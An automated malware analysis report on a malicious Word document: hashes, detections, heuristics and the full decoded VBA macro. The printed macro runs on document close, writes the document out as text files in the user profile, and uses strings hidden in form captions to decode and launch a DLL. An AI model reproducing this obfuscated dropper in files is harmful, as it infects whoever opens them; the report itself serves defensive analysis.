Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 10af5707c8f1a59c…

MALICIOUS

Office (OLE)

114.5 KB Created: 2020-05-12 23:48:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: f567b6c855c603df4fc914ce307de065 SHA-1: cf2d28b6799c2e47c71e4d4007acdb0c70f2c092 SHA-256: 10af5707c8f1a59c31d0f57d99f6ca4386ba7cadd3b6b71a0eac05eacf631f5e
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information

The sample contains VBA macros that leverage `CreateObject` and `Environ()` calls, indicating an attempt to interact with the system environment. The heuristic `SC_STR_CERTUTIL` suggests the use of certutil for downloading or decoding, which is often used to fetch and prepare malicious payloads. The VBA script attempts to save multiple files with `.xls`, `.doc`, and `.pub` extensions to the user's profile directory, likely as part of a multi-stage infection process.

Heuristics 6

  • ClamAV: Win.Malware.Agent-9662178-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Malware.Agent-9662178-0
  • Reference to certutil (download/decode) high SC_STR_CERTUTIL
    Reference to certutil (download/decode)
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Private Sub OpenForm()
    Set MainClass = CreateObject(ThisDocument.DefaultTargetFrame)
End Sub
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Debug.Print "Please fill in the form": OpenForm
    Temporary = Environ$("USERPROFILE") + "\j5Iss52"
    ActiveDocument.SaveAs2 FileName:=Temporary + ".xls", FileFormat:=wdFormatText
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2739 bytes
SHA-256: a8cd5138d3ab8dd79e1c1b682137f1d4c0dd29317e2adcf55e341402f0c2b15a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private MainClass
Private Temporary As String

Private Sub Document_Close()
    Debug.Print "Please fill in the form": OpenForm
    Temporary = Environ$("USERPROFILE") + "\j5Iss52"
    ActiveDocument.SaveAs2 FileName:=Temporary + ".xls", FileFormat:=wdFormatText
    ActiveDocument.SaveAs2 FileName:=Temporary + ".doc", FileFormat:=wdFormatText
    MainClass.create Right(UserForm2.Caption, 9) + Right(UserForm2.Tag, 11) + Temporary + ".xls " + Temporary + ".dll", Null, Null, Data
    ActiveDocument.SaveAs2 FileName:=Temporary + ".pub", FileFormat:=wdFormatText
    ActiveDocument.SaveAs2 FileName:=Temporary + ".doc", FileFormat:=wdFormatText
    ActiveDocument.SaveAs2 FileName:=Temporary + ".pub", FileFormat:=wdFormatText
    ActiveDocument.SaveAs2 FileName:=Temporary + ".doc", FileFormat:=wdFormatText
    ActiveDocument.SaveAs2 FileName:=Temporary + ".pub", FileFormat:=wdFormatText
    ActiveDocument.SaveAs2 FileName:=Temporary + ".doc", FileFormat:=wdFormatText
    ActiveDocument.SaveAs2 FileName:=Temporary + ".pub", FileFormat:=wdFormatText
    ActiveDocument.SaveAs2 FileName:=Temporary + ".doc", FileFormat:=wdFormatText
    ActiveDocument.SaveAs2 FileName:=Temporary + ".pub", FileFormat:=wdFormatText
    ActiveDocument.SaveAs2 FileName:=Temporary + ".doc", FileFormat:=wdFormatText
    ActiveDocument.SaveAs2 FileName:=Temporary + ".pub", FileFormat:=wdFormatText
    ActiveDocument.SaveAs2 FileName:=Temporary + ".doc", FileFormat:=wdFormatText
    MainClass.create Right(UserForm1.Caption, 9) + Temporary + ".dll,R1", Null, Null, Data2
End Sub

Private Sub OpenForm()
    Set MainClass = CreateObject(ThisDocument.DefaultTargetFrame)
End Sub


Attribute VB_Name = "Module1"

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{D8E25750-9D2E-4384-9754-171AA2B4A308}{9A6DBDD8-A9C9-497E-A259-969313144A71}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub TextBox1_Change()

End Sub

Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{70E3F0BA-B642-42C4-BF63-096A6CB988DB}{6F03AE86-629E-4CCE-A909-B9F9B868A1BD}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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